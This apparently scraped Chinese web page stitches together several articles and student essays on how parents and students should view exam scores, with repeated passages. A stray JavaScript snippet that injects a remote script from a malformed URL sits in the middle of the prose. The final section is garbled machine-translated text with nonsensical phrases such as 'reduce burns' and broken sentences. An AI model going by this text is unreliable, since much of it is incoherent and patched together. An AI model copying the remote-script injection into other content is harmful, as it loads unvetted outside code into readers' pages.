如何看孩子的分数如何看待分数，为什么实际分数比估分高

应该怎样正确看待分数
现在很多家长衡量孩子学习的标准就是成绩。其实分数只是从一个侧面反映了学生的学习成绩，有时甚至只是一种假象。有一次，一个高三学生的家长给我看了他们班所有学生的成绩单。问我，为什么大家的分数都这么低？我发现大部分同学的成绩单都不及格，甚至有些尖子生的成绩也只是在及格的边缘。那么，是什么原因呢？现在学生年级越高，考试成绩越低。我小学的时候一般都是90分以上，80分很差。初中，各科都能保持在80分以上，相当不错了。到了高中阶段，如果你每科都能考上至少60-70分就相当不错了。到了高三模拟考试，分数会更低。不信你看每年的考研。只要分数不低于50分，大部分都能录取。考试成绩逐渐下降的原因一方面是学习的课程增多，内容复杂；另一方面，因为考题难度大，一旦考题难度降低，学生的成绩马上就会提高。众所周知，分数只是衡量学生水平的一个标志。当学生水平不变时，分数与试题难度有关。试题难度降低，大家分数高；试题难度增加，大家分数下降。但是变化不大，就是相对分数，也就是结果的排名顺序变化不大。目前我们参加的考试有两种：一种是及格水平考试，比如平时学校的期中和期末考试，目的是检查教学效果。还有学生毕业考试和社会上举行的一些资格考试等等。只要达到一定的水平，就可以通过考试，获得一定的资格；还有一种考试具有竞争性和选择性，比如高考，通过排名来决定考生的命运。试题简单，大家成绩都不错，水涨船高，录取分数也高；试题难，大家分数低，录取分数也低。潮起潮落取决于学生内部相对水平和排名。对于出题的专家来说，题的难度最好有一个明确的梯度，让不同水平的考生分数明显拉开，考生的成绩才能真正反映考生的水平。如果达不到这个目标，试卷就不成功。所以出题的专家会反复研究学校目前的教学水平，研究各个层次学生的能力和水平，这样在出题中，有的题可以让大部分学生出题，有的题只能让少数学生出题，甚至每道题能出题的考生百分比都已经估算出来了。但专家有时也会出错，所以高考题的难度每年交替变化。因为高考时只出一些高难度的题就有可能得高分，所以名牌大学的老师们绞尽脑汁，反复研究历年的题，试图找到突破的机会。应该参加考试的师生作为进攻方，只有加大学生平时训练的难度，甚至超过高考的难度，才能在高考的进攻和打击中取胜。但这时候就出现了两个问题：一是如果平时训练的难度大大超过了学生的实际能力和水平，不仅达不到预期的效果，还会极大地摧毁学生的自信心；第二，如何在短期的考试复习中大幅提升学生目前的水平。在前面的章节中，我已经多次讨论过，想要考试成功，一方面要知道自己的基础和考试难度的区别，做到知己知彼，另一方面更重要的是找到达到目的的方法。如果找不到有效的方法，仅仅通过提高平时考试的难度是不能从根本上解决问题的
作为父母，你不应该对孩子的成绩要求太高。重要的是帮助孩子分析成功或失败的原因。必要时可以咨询相关专家，给予专门指导。作为教师，要在学、考、教规律上下功夫，做到根据学生的特点组织教学，根据每个学生的实际情况进行特殊指导。另外，每一次考试的成败首先取决于老师的成败，因为每一场战役的胜败首先取决于决策者的运筹帷幄，过多地责怪学生的努力是推卸责任的表现。参考：http://www.e.cn/20060411/3184470.shtml
【如何看孩子的分数如何看待分数，为什么实际分数比估分高】

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代表称称分数不是教育的全部，你如何看待分数？
这位代表说分数不是教育的全部。我觉得这个观点在一定程度上是有道理的。我觉得分数只是暂时的，只是片面的，因为分数并不能完全衡量一个学生。一个学生要发展，应该是全方位的，而不是片面的。我认为学校在教育学生的过程中要注重学生德、智、体、美、劳的全面发展，根据时代的变化改变教育思想，让学生健康快乐的成长。我觉得我们的教育应该是全方位多角度的，而不是片面的。因为我们的社会在发展，教育应该随着时代的发展而不断进步。只有这样，我们的学生才能得到更好的教育，更好的教育，更好的发展。我觉得分数不应该是我们教育的全部。事实上，仅仅论分数并不能达到我们教育的目的。其实分数只是暂时的，并不能很好的衡量一个学生的综合素质。我觉得一个学生的综合素质是好的，应该是德、智、体、艺、劳全面发展。现在社会竞争压力这么大，社会对人的要求也越来越严格。因此，我们的学生应该全面发展，以适应社会的要求和挑战。我们的家长和老师不要太在意分数。首先，在一定程度上，分数确实可以帮助我们衡量一个学生的水平，但这是不全面的，很多综合素质是不能用分数来体现的。所以对我们来说最重要的是转变观念，采用一种更好的衡量一个学生水平的方式。我认为教育的意义不在于分数的高低，而在于让学生真正掌握知识，并且
能够熟悉进行运用到实践，这其实才是最重要的，也是我们每个教育工作者都应该进行深刻反思的。
如何正确对待成绩希望采纳谢谢！不可否认，学习成绩是学生的根本，是父母检测孩子学习是否认真的凭证，所以无论是家长还是孩子，都特别在乎考试成绩，尤其是比较正规的期中考试和期末考试。这是正常的，也是无可非议的。期中考试刚过，分数出榜带来的冲击还未退去，很多家长和孩子还沉浸在快乐或者悲伤中尚未回复过来。我觉得应该正确地看待考试成绩。正规考试的分数确实很重要，一张比较正规、规范的试卷，一个比较规范的答案标准，老师之间流水线的规范批阅，分数本身比较公正、标准，能够比较客观、公正地说明近阶段孩子的学习状态。所以，家长和学生确实应该比较看中期初、期中和期末三场考试的分数。但怎么看分数，如何正确对待分数的得失，这确实也是一门学问，需要调整好心态的。第一：科学地看分数不能只看分数本身，分数本身只是一个数字，不能代表任何问题。举个例子来说，80分，这个数字在100分为满分的试卷来说肯定不是好的分数了，如果是数学，那肯定是不够理想了，如果是语文，那还是比较可以的。所以说要看这张试卷的难易程度，也就是班级的平均分，平均分具有更科学的参考价值，更能够把握在班级中的科学定位。第二：有比较地看分数不仅要和平均分比，还要和孩子的过去比，其实更科学地比较是和孩子的过去比，每一次考试孩子在班级的大概位置的变化能够反映孩子这阶段的状态起伏的状况。每一个孩子每一次只要努力挑战过去的自我，就能够得到不断地提升。其他孩子考得如何，其实不用过多看，如果一定要看，不是看他们的分数，而是看进步大的孩子他们到底是如何在学习，观察他们，向他们学习和取经。第三：理智看分数分数不管好坏，考完了也就成了历史，不必过多在分数本身上纠缠，应该找原因，找要今后需要努力的地方，找突破口。对孩子多鼓励，少责备。因为责备已经无济于事，唯有抓住未来才是比较切合实际的。应该如何学好语文呢？在这里我谈几个方法。第一：重得失，轻分数考试的价值并不在于分数本身，而在于这张试卷上反映出来的知识的薄弱点。考试不仅是一个阶段的结束，更是新的一个阶段的开始。考试是查漏补缺很好的途径，通过考试，发现自己哪个环节存在着不足，下一个阶段就可以着重加强这个环节，这样就能够有的放矢，同样的力气用下去可以达到更好的效果。var script = document.createElement(“script”); script.src = https://www.45qun.com/“http://static.pay..com/resource/chuan/ns.js”; document.body.appendChild(script);第二：重积累，轻应考练习语文的爆发需要时间的，不可能短时间之内有比较明显的效果。所以要有足够的心理准备，迎接这个积累期。在这个过程中，要多看有底蕴的文章，现在的孩子思维都比较浅，对主题比较内敛的文章看不太懂，这是他们的薄弱点。只有多看看这种文章，才能够增加思维的厚度。多看书比一味做考试题目更有长远的得益。应考技巧可以在短期内培训出来，但底气需要时间来积累。我以前就有毕业的学生在中考前通过强化训练在短期内得到了腾飞，但因为底气不足，到了高中适应得比较吃力。孩子现在还在初二阶段，还有时间来积累，所以大家更加应该注重平时的积累，为了将来更好地发展，为了高中能够更加轻松得衔接。第三：重反思，轻题海虽然语文的学习主要靠阅读和积累，但必要的训练就是练习还是需要的。现在的孩子做作业太随意，只是为了应付而已。但事实上，平时的练习就是提高阅读能力的最好的途径。认真读题、审题、做题，把老师平时教的技巧贯彻到习题中去，这只是有效练习的第一步，接下来要做的就是面对所谓的参考答案好好对比两者的区别，找出思维的方法，以此来提高自己的阅读能力。语文训练不是靠量来取胜的，而是靠质来取胜，要做一篇就得有一篇的收获。第四：重过程，轻结果很多的爸妈都很看重考试的结果，但实际上，考试分数只是一个自然而然的结果，是过程的自然反馈。爸妈应该更注重平时对孩子作业、听课等一些看似小细节的关注和要求。一个学生如果对自己要求、有目标，他就会有前进的动力，潜能就会爆发出来。很多看似不可能实现的目标就在对自己的要求中得以实现。中考的压力和氛围初二的孩子是不可能真正感受到的，所以期望通过这个压力来让孩子行动起来，为时尚早。平时就要针对孩子具体的情况提一个他能够通过努力就可以达到的目标，孩子一旦达到就会信心和兴趣大增。然后再提出一个可以达到的目标，如此循环往复，孩子就在不经意间实现了很大的飞跃。有了这样的积累过程，中考的腾飞和惊喜就在期望之内了。总而言之，科学地、理智地看待分数，找出自己的薄弱点，针对自己的实际情况和位置，提出能够努力做到的目标和定位，脚踏实地步步前进，就能够在语文学习中笑傲江湖。

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怎样看待分数作文分数，对于我们学生来讲，是至关重要的了，老师用分数来衡量我们——上初中，要分数；上高中，要分数；上大学，还是要分数。家长则用分数来要求我们——或诱之以利：“要是你能这回考到X分，我就……”或挟之以威：“要是低于X分，哼……”或定之以规：“这次你必须上X分！”而我们自己，也常常用分数在互相间做攀比。的确，分数有它不可低估的作用，从检验学习的角度来说，它具有一定的公平性和真实性，“分数面前人人平等”讲的正是这个意思。然面，分数并不是估量一个学生得失的唯一标准。考试成绩偶尔低一两分乃至十来分，并不一定说明什么问题。考试的成败有时也会受到诸如临场经验、健康状况等方面的影响。“胜败乃兵家常事”这句话大概不会有人不知道，而我们在学习上又何尝不是如此？在考试上很少有“常胜之师”，几十平时成绩再好的同学，也难免会有偶尔的失误。历届中考、高考“状元”并非就是平时出类拔萃的优等生的事实便是明证。事实上，“高分”与“能力”往往是不统一的。前段时间，社会上出现了一个新词——“高分低能” 。我的班主任黄老师就是这样的一位教师，听说她上课效率很好，那只不过是名声好听，但从教学效果上讲，却远远逊色与一些普普通通的老师。虽然我们班在年级来说语文成绩很好，是我们学生聪明，随便换个老师都比她强！其授课只是照本宣读，枯燥乏味，根本不能引起听课同学的兴趣，缺乏一种教与学之间的协调功能。据说，目前不少大中专院校的高材生毕业后不能胜任他们的工作，原因就是在于缺少将书本中的知识运用到实际工作中去的能力。这种人，尽管在学校中每每能考出高分，可无法在工作岗位上灵活自如地运用自己所学到的知识，国家培养出这样的“人才”，不也是一种浪费吗？由此可见，分数亦并不如有些想象的那么绝对和权威。忽视了对各方面才能的培养，只一味的注重、追求高分，是不行的。因此，一我们应该客观的去看待分数，即不应过分轻视它。也没有必要把它看得过于神圣。
你是如何看待分数的五百字作文分数不管好坏，考完了也就成了历史，不必过多在分数本身上纠缠，应该找原因，找要今后需要努力的地方，找突破口。对孩子多鼓励，少责备。因为责备已经无济于事，唯有抓住未来才是比较切合实际的。不能只看分数本身，分数本身只是一个数字，不能代表任何问题。举个例子来说，80分，这个数字在100分为满分的试卷来说肯定不是好的分数了，如果是数学，那肯定是不够理想了，如果是语文，那还是比较可以的。所以说要看这张试卷的难易程度，也就是班级的平均分，平均分具有更科学的参考价值，更能够把握在班级中的科学定位。

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作为家长，到底该怎么看待小孩的考试分数？今天孩子的学习负担太重了，很多专家都主张向学生减少烧伤。但这种情况，大多数和父母都希望让孩子更加出色的愿望，因此操作负担并没有从根本上推动他们的支持。相反，如果你看到你的孩子没有学习，父母会要求学校为孩子添加学习任务。父母应该如何对待孩子的成绩？老师：我希望每个父母都能以这种方式学到。许多父母有这种意识，孩子的成绩越高，面临的需要越高。许多父母看到孩子们需要学习各种特殊专业，他们必须面对学习，他们会有一些苦恼，但父母的家庭作业是不可或缺的。因为这对儿童的学术分数有所帮助，很少有父母会有问题：真的是如此多的学习负担吗？只有重量重量不重要，它可能不会改善孩子的空间。正确获得分数，不成功击败，许多孩子将沉浸在他们的损失和失望中，往往无法分析自己的问题和方向。考试无法促进进步，但他让他担心学习。因此，儿童必须准确地分析自己的收益，前提是有一个平静，成熟的内心。事实上在考试中，错误越多，越早曝光，越来越紧张，弥补它；错误的错误不一定是好事，这个包很高，这不一定是，因为学生认为和知识短板不允许弥补。这位老师可以在考试后对一些敏感的学生进行更多的心理指导，指导他们平静，平静分析。听孩子的声音，促进孩子的情绪。父母不禁养，但没有帮助，但家庭是孩子和谐的和谐，和谐的家庭关系是儿童先决条件。父母不想抱怨孩子的成就。孩子应该是什么，但最大限度地发泄情绪的环境和场地，让孩子的心理学“安全”，重新振荡。与教师密切联系完全相信父母应该主动与教师沟通，了解孩子的情绪形势，他们的家庭的一些异常与教师更沟通。学习应该完全相信教师。毕竟，教师比父母更专业。最好不要告诉命令，以免导致孩子和老师的不喜欢。做得更多，甚至没有看到它，不要说：帮助孩子学习，父母不想“悲伤”，如果你发现你的孩子已经开发出来，父母只是提出建议“这是认真的地方？思考它“ 。如果您的孩子坚持他认为，您应该尊重孩子的意见，让您的孩子在实践中检查他们的措施的有效性。